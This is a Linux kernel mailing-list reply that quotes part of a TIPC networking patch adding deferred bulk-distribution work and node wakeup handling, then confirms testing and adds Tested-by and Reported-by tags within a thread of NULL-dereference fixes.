> +               /* Defer bulk distribution to work queue */
> +               if (rc > 0) {
> +                       atomic_set(&n->work_scheduled, 1);
> +                       atomic_inc(&tn->node_wq_count);
> +                       tipc_node_get(n);
> +                       if (!schedule_work(&n->work)) {
> +                               atomic_dec(&tn->node_wq_count);
> +                               tipc_node_put(n);
> +                       }
> +               } else if (rc < 0) {
> +                       /* Bring the node down to start over bulk distribution
> +                        * when the first link is up again.
> +                        */
> +                       tipc_node_down(n);
> +               }
> +       }
>
>         if (flags & TIPC_NOTIFY_LINK_UP) {
>                 tipc_mon_peer_up(net, node, bearer_id);
> @@ -564,6 +647,9 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id,
>         INIT_LIST_HEAD(&n->list);
>         INIT_LIST_HEAD(&n->publ_list);
>         INIT_LIST_HEAD(&n->conn_sks);
> +       INIT_WORK(&n->work, tipc_node_dist_bulk);
> +       atomic_set(&n->work_scheduled, 0);
> +       atomic_set(&n->finalized, 0);
>         skb_queue_head_init(&n->bc_entry.namedq);
>         skb_queue_head_init(&n->bc_entry.inputq1);
>         __skb_queue_head_init(&n->bc_entry.arrvq);
> @@ -653,6 +739,21 @@ void tipc_node_stop(struct net *net)
>         spin_unlock_bh(&tn->node_list_lock);
>  }
>
> +void tipc_node_wakeup(struct net *net)
> +{
> +       struct tipc_net *tn = tipc_net(net);
> +       struct tipc_node *node;
> +
> +       rcu_read_lock();
> +       list_for_each_entry_rcu(node, &tn->node_list, list) {
> +               if (atomic_read(&node->work_scheduled)) {
> +                       atomic_set(&node->finalized, 1);
> +                       wake_up_var(&node->finalized);
> +               }
> +       }
> +       rcu_read_unlock();
> +}
> +
>  void tipc_node_subscribe(struct net *net, struct list_head *subscr, u32 addr)
>  {
>         struct tipc_node *n;
> @@ -801,6 +902,7 @@ static bool tipc_node_cleanup(struct tipc_node *peer)
>  static void tipc_node_timeout(struct timer_list *t)
>  {
>         struct tipc_node *n = timer_container_of(n, t, timer);
> +       struct tipc_net *tn = tipc_net(n->net);
>         struct tipc_link_entry *le;
>         struct sk_buff_head xmitq;
>         int remains = n->link_cnt;
> @@ -814,6 +916,11 @@ static void tipc_node_timeout(struct timer_list *t)
>                 return;
>         }
>
> +       if (atomic_read(&tn->finalized) && atomic_read(&n->work_scheduled)) {
> +               atomic_set(&n->finalized, 1);
> +               wake_up_var(&n->finalized);
> +       }
> +
>  #ifdef CONFIG_TIPC_CRYPTO
>         /* Take any crypto key related actions first */
>         tipc_crypto_timeout(n->crypto_rx);
> diff --git a/net/tipc/node.h b/net/tipc/node.h
> index 154a5bbb0d29..c7bc3bc05328 100644
> --- a/net/tipc/node.h
> +++ b/net/tipc/node.h
> @@ -75,6 +75,7 @@ enum {
>  #define INVALID_BEARER_ID -1
>
>  void tipc_node_stop(struct net *net);
> +void tipc_node_wakeup(struct net *net);
>  bool tipc_node_get_id(struct net *net, u32 addr, u8 *id);
>  u32 tipc_node_get_addr(struct tipc_node *node);
>  char *tipc_node_get_id_str(struct tipc_node *node);
> --
> 2.43.0
>

Hi Tung,

I tested the updated patch on v7.2-rc5 with the same reproducer.
The reproducer completed the full 400-second run without publication
errors, crashes, hung tasks, or netns teardown issues.

Tested-by: Weiming Shi <bestswngs@gmail.com>

Also, please remember to add the following tag when posting the patch:
Reported-by: Xiang Mei <xmei5@asu.edu>

Thanks for your work on this.
Weiming Shi

^ permalink raw reply	[flat|nested] 14+ messages in thread

end of thread, other threads:[~2026-07-29  4:19 UTC | newest]

Thread overview: 14+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
     [not found] <20260718092544.785289-1-bestswngs@gmail.com>
2026-07-18  9:25 ` [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list Weiming Shi
2026-07-20 15:41   ` Tung Quang Nguyen
2026-07-21  3:06     ` Weiming Shi
2026-07-21  3:24       ` Tung Quang Nguyen
2026-07-27 10:30         ` Weiming Shi
2026-07-27 10:48           ` Tung Quang Nguyen
2026-07-28 12:52           ` Tung Quang Nguyen
2026-07-28 17:57             ` Weiming Shi
2026-07-29  3:50               ` Tung Quang Nguyen
2026-07-29  4:18                 ` Weiming Shi
2026-07-18  9:25 ` [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure Weiming Shi
2026-07-20 15:44   ` Tung Quang Nguyen
2026-07-18  9:25 ` [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending Weiming Shi
2026-07-20 15:45   ` Tung Quang Nguyen

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